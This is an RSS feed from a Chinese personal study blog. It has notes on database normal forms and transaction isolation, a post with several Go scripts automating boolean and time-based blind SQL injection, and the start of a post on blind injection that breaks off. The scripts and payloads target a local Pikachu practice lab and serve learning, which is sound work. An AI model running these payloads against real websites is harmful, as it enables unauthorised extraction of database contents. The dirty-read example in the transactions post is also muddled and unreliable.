<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Antifrag</title><description>个人笔记</description><link>https://antifrag.cn</link><item><title>范式</title><link>https://antifrag.cn/blog/%E8%8C%83%E5%BC%8F</link><guid isPermaLink="true">https://antifrag.cn/blog/%E8%8C%83%E5%BC%8F</guid><description>范式</description><pubDate>Wed, 26 Feb 2025 03:38:00 GMT</pubDate><content:encoded>&lt;h1&gt;范式&lt;/h1&gt;
&lt;p&gt;| 范式 | 目标                     | 关键要求                                                  |
| ---- | ------------------------ | --------------------------------------------------------- |
| 1NF  | 确保原子性               | 每个字段必须包含不可再分的值，表中每列的值是原子值。      |
| 2NF  | 消除部分依赖             | 满足1NF，且所有非主键字段完全依赖于主键（消除部分依赖）。 |
| 3NF  | 消除传递依赖             | 满足2NF，且非主键字段直接依赖于主键，避免传递依赖。       |
| BCNF | 每个决定因素必须是候选键 | 满足3NF，且每个非平凡的函数依赖的左边部分必须是候选键。   |
| 4NF  | 消除多值依赖             | 满足BCNF，且每个多值依赖被消除，避免冗余数据。            |&lt;/p&gt;
&lt;h3&gt;1.第一范式（1NF）-原子性&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;每个字段必须包含原子值，表中的每列不能包含集合、数组或重复的值&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;不符合1NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学生ID | 学生姓名 | 电话号码
-------------------------------------------
1      | 张三    | 123456789, 987654321
2      | 李四    | 111222333, 444555666
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在表中，&lt;strong&gt;电话号码&lt;/strong&gt;列包含了多个电话号码，违反了1NF的的原子性要求&lt;/p&gt;
&lt;h4&gt;符合1NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学生ID | 学生姓名 | 电话号码
---------------------------
1      | 张三    | 123456789
1      | 张三    | 987654321
2      | 李四    | 111222333
2      | 李四    | 444555666
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将多个电话号码分到不同的行，每个字段只包含一个值，符合1NF。&lt;/p&gt;
&lt;h3&gt;2.第二范式（2NF） -消除部分依赖&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;满足1NF，并消除部分依赖。即所有非主键字段必须以来主键，不能仅依赖于主键的一部分（适用于符合主键）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;不符合2NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学生ID | 课程ID | 教师   | 成绩
---------------------------
1      | 101    | 王老师 | 85
1      | 102    | 李老师 | 90
2      | 101    | 王老师 | 88
2      | 103    | 张老师 | 92
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里，教师只依赖于&lt;strong&gt;课程ID&lt;/strong&gt;，不依赖于复合主键**（学生ID，课程ID）**。这是部分依赖，不符合&lt;/p&gt;
&lt;p&gt;2NF。&lt;/p&gt;
&lt;h4&gt;符合2NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 学生成绩表
学生ID | 课程ID | 成绩
---------------------------
1      | 101    | 85
1      | 102    | 90
2      | 101    | 88
2      | 103    | 92

-- 课程信息表
课程ID | 教师
--------------
101    | 王老师
102    | 李老师
103    | 张老师
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把教师信息移到单独的&lt;strong&gt;课程信息表&lt;/strong&gt;，这样&lt;strong&gt;教师&lt;/strong&gt;字段不再依赖于复合主键的部分，而依赖于&lt;strong&gt;课程ID&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.第三范式（3NF） -消除传递依赖&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;满足2NF，并且消除传递依赖。也就是非主键字段不能依赖于其他主键字段。所有非主键字段必须直接依赖于主键，而不是通过其他非主键字段传递依赖&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;不符合3NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学生ID | 学生姓名 | 学生地址    | 地址邮政编码
------------------------------------------
1      | 张三    | 北京市      | 100000
2      | 李四    | 上海市      | 200000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里，&lt;strong&gt;地址邮政编码&lt;/strong&gt;依赖于&lt;strong&gt;学生地址&lt;/strong&gt;，而&lt;strong&gt;学生地址&lt;/strong&gt;依赖于&lt;strong&gt;学生姓名&lt;/strong&gt;。这是一个传递依赖，因为&lt;strong&gt;学生地址&lt;/strong&gt;和&lt;strong&gt;地址邮政编码&lt;/strong&gt;都是非主键字段，但&lt;strong&gt;地址邮政编码&lt;/strong&gt;间接依赖于&lt;strong&gt;学生ID&lt;/strong&gt;。不满足3NF的需求。&lt;/p&gt;
&lt;h4&gt;符合3NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 学生信息表
学生ID | 学生姓名 | 学生地址
-------------------------
1      | 张三    | 北京市
2      | 李四    | 上海市

-- 地址信息表
学生地址 | 地址邮政编码
---------------------
北京市   | 100000
上海市   | 200000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将&lt;strong&gt;地址邮政编码&lt;/strong&gt;字段移动到一个单独的表中，确保&lt;strong&gt;地址邮政编码&lt;/strong&gt;直接依赖于&lt;strong&gt;学生地址&lt;/strong&gt;，而不再通过&lt;strong&gt;学生地址&lt;/strong&gt;间接依赖于&lt;strong&gt;学生ID&lt;/strong&gt;，符合3NF。&lt;/p&gt;
&lt;h3&gt;4.BCNF（博伊斯-科得范式）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;BCNF要求每一个&lt;strong&gt;非平凡的函数依赖&lt;/strong&gt;的&lt;strong&gt;决定因素&lt;/strong&gt;（determinant）必须是&lt;strong&gt;候选键&lt;/strong&gt;。换句话说，BCNF要求每个函数依赖的左边必须是候选键。这样可以进一步消除数据冗余和异常。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;1. &lt;strong&gt;BCNF与3NF的关系&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3NF&lt;/strong&gt;要求：一个表必须消除传递依赖。非主键字段必须直接依赖于主键。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BCNF&lt;/strong&gt;要求：更严格地要求每个依赖关系的决定因素（即函数依赖的左边部分）必须是候选键。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;函数依赖的定义&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;决定因素&lt;/strong&gt;（determinant）：一个字段或一组字段，决定了另一个字段的值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非平凡依赖&lt;/strong&gt;：依赖关系中，决定因素不完全等于右边的字段。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3NF能够处理大多数的数据冗余问题，但对于一些特殊情况，3NF仍然不能完全消除冗余，BCNF则进一步加强了这一点。&lt;/p&gt;
&lt;h4&gt;2. &lt;strong&gt;不符合BCNF的例子&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;我们来看一个不符合BCNF的例子：&lt;/p&gt;
&lt;p&gt;假设我们有一个表格记录学生、课程和教师的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学号  | 课程ID | 教师  | 成绩
--------------------------
1     | 101    | 王老师 | 85
1     | 102    | 李老师 | 90
2     | 101    | 王老师 | 88
2     | 103    | 张老师 | 92
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;&lt;strong&gt;存在的依赖关系&lt;/strong&gt;：&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;学号, 课程ID → 成绩&lt;/code&gt;（每个学生在每门课程中的成绩是唯一的）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;课程ID → 教师&lt;/code&gt;（每门课程对应一个固定的教师）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;根据这些依赖关系，表中的&lt;code&gt;课程ID → 教师&lt;/code&gt;是一个依赖关系，但&lt;strong&gt;课程ID&lt;/strong&gt;并不是一个候选键，而是一个普通的非主键字段。这样，表中的&lt;code&gt;教师&lt;/code&gt;字段就依赖于&lt;code&gt;课程ID&lt;/code&gt;，而&lt;code&gt;课程ID&lt;/code&gt;并不是表的候选键。因此，这个表不符合BCNF。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;符合BCNF的表结构&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;为了让表符合BCNF，我们需要调整表结构，确保每个非主键字段只依赖于候选键。我们可以将表拆分成两个表：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;学生课程成绩表&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE StudentCourse (
    学号 INT,
    课程ID INT,
    成绩 DECIMAL(5, 2),
    PRIMARY KEY (学号, 课程ID)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;课程教师表&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE CourseTeacher (
    课程ID INT,
    教师 VARCHAR(50),
    PRIMARY KEY (课程ID)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这样，我们将课程与教师的信息拆分成了一个单独的表，消除了&lt;code&gt;课程ID → 教师&lt;/code&gt;的依赖，确保每个表的非主键字段完全依赖于其主键（即每个表中的字段都依赖于候选键）。&lt;/p&gt;
&lt;p&gt;BCNF通过严格要求每个非平凡的依赖的决定因素必须是候选键，进一步消除了数据库中的冗余数据和不一致的情况。与3NF相比，BCNF处理了3NF无法解决的部分依赖问题，避免了数据冗余。&lt;/p&gt;
&lt;h4&gt;简单总结：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;3NF&lt;/strong&gt; 解决了传递依赖问题，确保了非主键字段之间不会发生依赖。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4NF&lt;/strong&gt; 解决了多值依赖问题，通过将独立的多值属性分开存储，避免了数据冗余和一致性问题。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BCNF&lt;/strong&gt;：进一步要求每个函数依赖的左边部分必须是候选键，解决了3NF中某些特殊情况下的冗余问题。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BCNF比3NF更严格，它能有效避免一些边缘情况的依赖问题，确保数据结构更加规范化。&lt;/p&gt;
&lt;h3&gt;5.第四范式（4NF） -消除多值依赖&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;满足BCNF，并且消除多值依赖。多值依赖是指一个字段依赖于多个其他字段，而这些依赖之间没有直接关系，通常涉及多个独立的多值属性&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：消除多值依赖，减少数据冗余，避免数据不一致。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;不符合4NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;学生ID | 学生姓名 | 学生爱好   | 学生课程
----------------------------------------
1      | 张三    | 游泳, 画画 | 数学, 物理
2      | 李四    | 足球      | 化学, 英语
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在上面的表中，&lt;code&gt;学生爱好&lt;/code&gt;和&lt;code&gt;学生课程&lt;/code&gt;字段同时依赖于&lt;code&gt;学生ID&lt;/code&gt;，但是它们是独立的属性，没有直接关系。由于每个学生可以有多个爱好和多个课程，表中的数据变得冗余，而且插入和更新操作可能会导致数据的不一致性，这是典型的多值依赖。&lt;/p&gt;
&lt;h4&gt;符合4NF的例子：&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;sql复制编辑-- 学生爱好表
学生ID | 学生爱好
-------------------
1      | 游泳
1      | 画画
2      | 足球

-- 学生课程表
学生ID | 学生课程
-------------------
1      | 数学
1      | 物理
2      | 化学
2      | 英语
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们将学生的爱好和课程拆分成两个独立的表，这样就消除了多值依赖，确保每个表中的每一行都只能存储一个独立的值。这样既避免了冗余数据，又提高了数据的一致性和可维护性，符合4NF。&lt;/p&gt;</content:encoded><category>数据库</category></item><item><title>事务管理</title><link>https://antifrag.cn/blog/%E4%BA%8B%E5%8A%A1%E7%AE%A1%E7%90%86</link><guid isPermaLink="true">https://antifrag.cn/blog/%E4%BA%8B%E5%8A%A1%E7%AE%A1%E7%90%86</guid><description>事务管理</description><pubDate>Wed, 26 Feb 2025 03:37:00 GMT</pubDate><content:encoded>&lt;h1&gt;事务管理&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;事务管理是指在数据库管理系统（DBMS）中，确保一系列操作要么完成执行，要么完全不执行的机制。事务是一组作为单一单元执行的操作，它们要么成功执行并提交（commit），要么发生错误并回滚（rollback），确保数据的完整性和一致性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1.原子性（Atomicity）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;事务中的所有操作要么完全执行，要么完全不执行&lt;/li&gt;
&lt;li&gt;如果事务中某一部分出现失败，事务会回滚到它刚开始的状态，确保没有部分操作成功&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.一致性（Consistency）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;事务执行前后，数据库的状态要从一个一致的状态转变到另一个一致的状态&lt;/li&gt;
&lt;li&gt;事务开始时，数据库处于一个有效的状态，执行完事务后，数据库依然保持有效和一致&lt;/li&gt;
&lt;li&gt;例：银行账户的余额必须大于等于0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.隔离性（lasolation）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;每个事务的执行应该不被其他事务干扰。事务的操作对其他事务来说是隔离的，类似于事务按顺序串行执行&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.持久性（Durability）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一旦事务被提交，他所作的更改将永久保存。即使发生系统崩溃，数据也不会丢失&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;并发可能导致事务发生的问题&lt;/h2&gt;
&lt;p&gt;在一个实际的项目开发中，事务一般伴随着高并发，多个事务可能同时进行。这就会带来一些并发问题，主要包括：&lt;/p&gt;
&lt;h3&gt;1.丢失修改：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;两个事务同时读取同一数据并修改它，最终只有一个修改被保存，另一个修改就丢失了&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.不可重复读：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在同一事务中读取相同的数据两次，但结果不同，因为其他事务在此期间修改了该数据&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.脏读：&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一个事务读取了另一个事务未提交的数据，导致读取到的数据可能是无效的或错误的。如果第二个事务回滚，脏读的数据将不再有效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例&lt;/strong&gt;：用户A在读取余额后进行操作，而在用户A操作过程中，用户B修改了余额并提交。用户A读取到的是未提交的余额，最终可能发生错误。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;并发问题的解决&lt;/h2&gt;
&lt;h3&gt;1.封锁机制：&lt;/h3&gt;
&lt;p&gt;封锁机制是通过对数据进行锁定来避免多个事务同时修改同一数据。常见的封锁类型有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共享锁&lt;/strong&gt;（S锁）：允许事务读取数据，但不允许修改数据，其他事务也可以读取数据&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;排他锁&lt;/strong&gt;（X锁）：允许事务读取和修改数据，其他事务不能访问该数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;一种常见的封锁协议是&lt;strong&gt;两段锁协议&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在事务执行的过程中，事务先获取锁（锁定阶段），然后执行操作，最后释放锁（解锁阶段）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;两段锁协议确保了事务在开始时索取锁，结束时释放锁，防止事务发生死锁或不一致问题。它有两个阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;增长阶段&lt;/strong&gt;：事务可以获取锁，但不能释放任何锁&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;收缩阶段&lt;/strong&gt;：事务释放锁，但不能再获取任何锁&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;两段锁协议能保证&lt;strong&gt;串行化&lt;/strong&gt;的隔离级别，避免发生问题&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.事务隔离级别：&lt;/h3&gt;
&lt;p&gt;事务隔离级别定义了事务执行时与其他事务的隔离程度。常见的隔离级别有四种，从最低到最高依次为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;读未提交&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;事务可以读取其他事务未提交的数据，可能会出现脏读&lt;/li&gt;
&lt;li&gt;这种隔离级别性能最好，但一致性最差&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;读已提交&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;事务只能读取其他事务已提交的数据，避免了脏读，但可能会出现不可重复读的情况&lt;/li&gt;
&lt;li&gt;比读未提交隔离级别稍强，常见的默认隔离级别&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;可重复读&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;事务内的多次读取都返回相同的数据，避免了脏读和不可重复读，但可能会出现幻读的问题（即在事务读取数据时，同时插入另一新的数据）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;串行化&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最高隔离级别，事务完全隔离，执行时效果像串行执行一样，避免了脏读、不可重复读和幻读&lt;/li&gt;
&lt;li&gt;性能最差，但一致性最强&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>数据库</category></item><item><title>Golang实现盲注</title><link>https://antifrag.cn/blog/golang%E7%9B%B2%E6%B3%A8</link><guid isPermaLink="true">https://antifrag.cn/blog/golang%E7%9B%B2%E6%B3%A8</guid><description>Golang实现布尔盲注</description><pubDate>Sun, 11 Aug 2024 06:06:33 GMT</pubDate><content:encoded>&lt;h2&gt;Golang实现布尔盲注&lt;/h2&gt;
&lt;p&gt;上一篇讲到了盲注的实现过程，现在我们可以一起来学习一下脚本的编写&lt;/p&gt;
&lt;p&gt;盲注payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;kobe&apos; and length(database()) = 7#

kobe&apos; and ascii(substr(database(),1,1)) &gt; 111#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造poc&lt;/p&gt;
&lt;h4&gt;常规循环实现&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;
	&quot;os&quot;
	&quot;strings&quot;
)

var SplicingPayload = &quot;select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = &apos;users&apos;&quot;
var payload = &quot;kobe&apos; and ascii(substr((%s),%v,1)) &gt; %v#&quot;
var flag string


func main(){
    url := &quot;http://localhost:8000/vul/sqli/sqli_blind_b.php?name=&quot;
	url1 := &quot;&amp;#x26;submit=查询##&amp;#x26;submit=查询&quot;
    sqlin2(url, url1)
}

func sqlin(url1 string, url2 string) {
	for i := 1; i &amp;#x3C; 200; i++ {
		for j := 1; j &amp;#x3C; 127; j++ {
			if j &gt; 50 {
				payload1 := fmt.Sprintf(payload, i, j)
				// fmt.Println(payload1)
				payload2 := url.QueryEscape(payload1)
				payload1 = url1 + payload2 + url2
				// fmt.Println(payload1)
				re := send(payload1)
				if check(re) {
					flag += string(j)
					fmt.Println(flag)
				}
			}
		}
	}
}

// 网络请求
func send(url string) string {
    client := &amp;#x26;http.Client{}
    req,err := http.NewRequest(&quot;GET&quot;,url,nil)
	req.Header.Set(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36&quot;)
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, &quot;kobe@pikachu.com&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;二分查找法&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;
	&quot;os&quot;
	&quot;strings&quot;
)

var SplicingPayload = &quot;select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = &apos;users&apos;&quot;
var payload = &quot;kobe&apos; and ascii(substr((%s),%v,1)) &gt; %v#&quot;
var flag string


func main(){
    url := &quot;http://localhost:8000/vul/sqli/sqli_blind_b.php?name=&quot;
	url1 := &quot;&amp;#x26;submit=查询##&amp;#x26;submit=查询&quot;
    attack(url, url1)
}

func attack(url1 string,url2 string) {
    for i := 1; i &amp;#x3C; 200; i++ {
		low := 38
		high := 127
		mid := (low + high) / 2
		for high &gt; low {
			payload1 := fmt.Sprintf(payload, SplicingPayload, i, mid)
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp := send(payload1)
			if check(resp) {
				low = mid + 1
			} else {
				high = mid
			}
			mid = (low + high) / 2
			if string(mid) == &quot;&amp;#x26;&quot; {
				os.Exit(0)
			}
		}
		flag += string(mid)
		fmt.Println(flag)

	}
}

// 网络请求
func send(url string) string {
    client := &amp;#x26;http.Client{}
    req,err := http.NewRequest(&quot;GET&quot;,url,nil)
	req.Header.Set(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36&quot;)
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}

// 内容读取
func check(test string) bool {
    return strings.Contains(test, &quot;kobe@pikachu.com&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另一种实现思路&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;fmt&quot;
	&quot;io&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;
	&quot;strings&quot;
	&quot;time&quot;
)

func main() {
	url := &quot;http://localhost:8000/vul/sqli/sqli_blind_b.php?name=&quot;
	url1 := &quot;&amp;#x26;submit=查询##&amp;#x26;submit=查询&quot;
	attackBinary(url, url1)
}

func attackBinary(url1 string, url2 string) string {
	defer measureTime(time.Now(), &quot;Binary&quot;)

	dbName := &quot;&quot;
	sqlPayload := &quot;database()&quot;

	j := 1
	exitFlag := false
	for !exitFlag {
		exitFlag = true
		low := 32
		high := 126
		for high &gt;= low {
			mid := (low + high) / 2

			payload1 := fmt.Sprintf(&quot;kobe&apos; and ascii(substr(%s,%d,%d)) = %d#&quot;, sqlPayload, j, j, mid)
			// 编码转换
			payload2 := url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp := send(payload1)

			if strings.Contains(resp, &quot;kobe@pikachu.com&quot;) {
				dbName += string(mid)
				fmt.Println(&quot;flag :&quot;, dbName)
				exitFlag = false
				break
			}

			payload1 = fmt.Sprintf(&quot;kobe&apos; and ascii(substr(%s,%d,%d)) &gt; %d#&quot;, sqlPayload, j, j, mid)
			payload2 = url.QueryEscape(payload1)
			payload1 = url1 + payload2 + url2
			resp = send(payload1)

			if strings.Contains(resp, &quot;kobe@pikachu.com&quot;) {
				low = mid + 1
			} else {
				high = mid - 1
			}
		}
		j += 1
	}
	return dbName
}

// 时间统计
func measureTime(start time.Time, name string) {
	elapsed := time.Since(start)
	log.Fatalf(&quot;Time for %s:%s&quot;, name, elapsed)
}

// 网络请求
func send(url string) string {
	client := &amp;#x26;http.Client{}
	req, err := http.NewRequest(&quot;GET&quot;, url, nil)
	req.Header.Set(&quot;User-Agent&quot;, &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36&quot;)
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	rest, err := io.ReadAll(resp.Body)
	res := string(rest)
	return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Golang实现时间盲注&lt;/h2&gt;
&lt;p&gt;目前我使用的这个延时注入脚本较慢，因为在判断的过程中，会将&lt;code&gt;sleep()&lt;/code&gt;函数进行执行，导致判断时间较长&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import (
	&quot;fmt&quot;
	&quot;log&quot;
	&quot;net/http&quot;
	&quot;net/url&quot;
	&quot;time&quot;
)

var url1 = &quot;http://localhost:8000/vul/sqli/sqli_blind_b.php?name=&quot;
var url2 = &quot;&amp;#x26;submit=查询#&amp;#x26;submit=查询&quot;

func main() {
	payload := &quot;(select group_concat(table_name) from information_schema.tables where table_schema=database())&quot;
	testGeneralBaseTime(payload)
}

// 获取GET请求，返回是否存在延时
func getRequestBaseTime(payload string) bool {
	startTime := time.Now()
	payload = url.QueryEscape(payload)
	urlL := url1 + payload + url2
	// 在pikachu时间注入里 只能发送post请求 才能有时间回显，先开始哦一直用的Get导致出现404报错！！
	resp, err := http.Post(urlL, &quot;application/x-www-form-urlencoded&quot;, nil)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()
	if resp.StatusCode != 200 {
		log.Fatal(&quot;请求失败&quot;)
	}
	endTime := time.Now()
	// Sub()返回时间差
	usedTime := endTime.Sub(startTime)
	if usedTime &gt; 3*time.Second {
		return true
	}
	return false

}

// 二分法编写通用注入方法
func testGeneralBaseTime(payload string) string {
	var flag string
	exitFlag := false
	j := 1
	for !exitFlag {
		exitFlag = true
		high := 127
		low := 38
		for high &gt;= low {
			mid := (high + low) / 2
			payloadGeneral := fmt.Sprintf(&quot;kobe&apos; and if(ascii(substr(%s,%d,%d))=%d,sleep(3),1)#&quot;, payload, j, j, mid)
			if getRequestBaseTime(payloadGeneral) {
				flag += string(mid)
				fmt.Println(flag)
				exitFlag = false
				break
			}

			payloadGeneral1 := fmt.Sprintf(&quot;kobe&apos; and if(ascii(substr(%s,%d,%d))&gt;%d,sleep(3),1)#&quot;, payload, j, j, mid)
			if getRequestBaseTime(payloadGeneral1) {
				low = mid + 1
			} else {
				high = mid - 1
			}
		}
		j += 1
	}
	return flag
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;学习的师傅文章链接：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;https://www.cnblogs.com/newbe3three/p/15917296.html#%E6%97%B6%E9%97%B4%E5%9E%8B&lt;/p&gt;
&lt;p&gt;https://godeep.pro/blog/SQL%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%E8%87%AA%E5%8A%A8%E5%8C%96%E8%84%9A%E6%9C%AC%E4%BA%8C%E5%88%86%E6%9F%A5%E6%89%BE%E5%AE%9E%E8%B7%B5%E4%B8%8E%E8%B8%A9%E5%9D%91-Python-Golang-Rust/#golang-%E7%89%88&lt;/p&gt;
&lt;p&gt;https://www.cnblogs.com/dogecheng/p/11616282.html&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><category>网络安全</category></item><item><title>SQL注入（二）</title><link>https://antifrag.cn/blog/sql%E6%B3%A8%E5%85%A5%E4%BA%8C</link><guid isPermaLink="true">https://antifrag.cn/blog/sql%E6%B3%A8%E5%85%A5%E4%BA%8C</guid><description>SQL注入（二）</description><pubDate>Fri, 09 Aug 2024 07:28:09 GMT</pubDate><content:encoded>&lt;h1&gt;SQL注入（二）&lt;/h1&gt;
&lt;h2&gt;盲注&lt;/h2&gt;
&lt;p&gt;在实际的渗透过程中，网站设计者会将&lt;code&gt;错误信息进行屏蔽&lt;/code&gt;，导致我们无法&lt;code&gt;根据报错信息来进行注入的判断&lt;/code&gt;，这种情况下的注入，就是盲注&lt;/p&gt;
&lt;h3&gt;布尔盲注（based on boolean）&lt;/h3&gt;
&lt;p&gt;在盲注的过程中，我们会经常使用到以下函数&lt;/p&gt;
